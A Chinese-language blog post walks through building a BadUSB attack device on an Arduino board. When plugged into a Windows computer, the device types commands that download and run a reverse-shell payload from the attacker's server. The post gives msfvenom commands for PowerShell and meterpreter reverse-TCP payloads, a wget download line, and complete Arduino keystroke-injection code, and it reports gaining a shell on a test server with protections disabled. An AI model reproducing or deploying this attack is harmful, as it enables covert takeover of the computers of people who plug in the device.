前言:最近不是不想更新,很多事情等着我去搞,我的人生又不是只有网络安全...马上我就会更新靶机系列了。
很早之前就了解到bad-usb这个神奇的东西,其中的原理其实很便于理解,本来想在网上找找优秀的教程,但是不知道为什么这个只有一些前几年的开源程序和一些新闻之类的,可能实在是太危险了,限制很多,我只能自己去摸索。
其原理是将虚拟键盘的引导程序写入开发板,arduino的开发板是非常新手的开发板,使用起来简单,本人不太会嵌入式开发,所以直接从网上买了个已经写好引导程序的usb,30块,不贵,就当是简单体验一下嵌入式开发和一些特殊的安全技术吧。
ardunio开发可以使用官方的ide,是开源免费的,也可以使用vscode上面的插件,我直接使用了官方的插件,你要是对这个开发感兴趣,要做一些非常复杂的项目建议使用vscode进行开发,但是环境之类的配置起来还是有点繁琐的。
先说说思路。
我们目前要做到的第一个最终目标是当有人将这个usb插入电脑时,可以直接在公网中下载我们已经进行免杀好的反弹shell(暂时不考虑留后门,程序太大了,影响成功率,可以后期维持在re_shell中交互完成自动化)。
首先是木马准备,这里先不使用一些shellcode加载器的混淆,因为没有程序给我们进行加载。
只能使用最简单最原始的反弹shell。
当然这里我们有两种常用的木马程序。
一种是我们powershell的脚本ps1文件,一种是最基本的exe文件。
但是由于windows的一些限制,用ps1可能有点安全策略问题,当然,我们也能够克服,只不过前期没必要深入到这里。
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.31.3 LPORT=4444 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.31.3 LPORT=1234 -f exe > shell.exe
我们先使用exe的方法,思路是架设攻击机器的下载站,然后客户机下载下来执行。在攻击机器上收到反弹的shell。
wget http://http://192.168.31.3:1234/shell.exe
以下是本人使用的代码,很简单,在arduino IDE中开发的。注意一些事情,delay的时间要具体实践,越慢越能够确保成功执行程序,越快越能够在现实中发挥作用,如果你发现你的程序编译后跟实际效果不符合,首先试着将速度调慢。
#include <Keyboard.h>
void setup() {
//等待usb稳定
delay(500);
//开始
Keyboard.begin();
//按下 Win + R
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(100);
Keyboard.releaseAll();
Keyboard.print("powershell");
delay(100);
// 按下回车键,启动 PowerShell
Keyboard.press(KEY_RETURN);
delay(100);
Keyboard.releaseAll();
//等待 PowerShell 打开
delay(500);
//下载shell.exe
Keyboard.print("wget http://http://192.168.91.130:12345/shell.exe");
//按下回车键执行命令
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.releaseAll();
//执行shell.exe
Keyboard.print("shell.exe");
//按下回车键执行命令
Keyboard.press(KEY_RETURN);
delay(100);
Keyboard.releaseAll();
//停止键盘模拟
Keyboard.end();
}
void loop() {
//留空
}
上传后显示类似以下的信息是成功上传,本人看到红色以为是报错了,找了30分钟问题,最后问了问chatgpt,发现这是正确的信息...90
最后在准备好的windows server 2022关闭安全措施(混淆和加密暂时不考虑,后期酌情加入),插入u盘成功执行代码,本地nc监听,成功获得shell。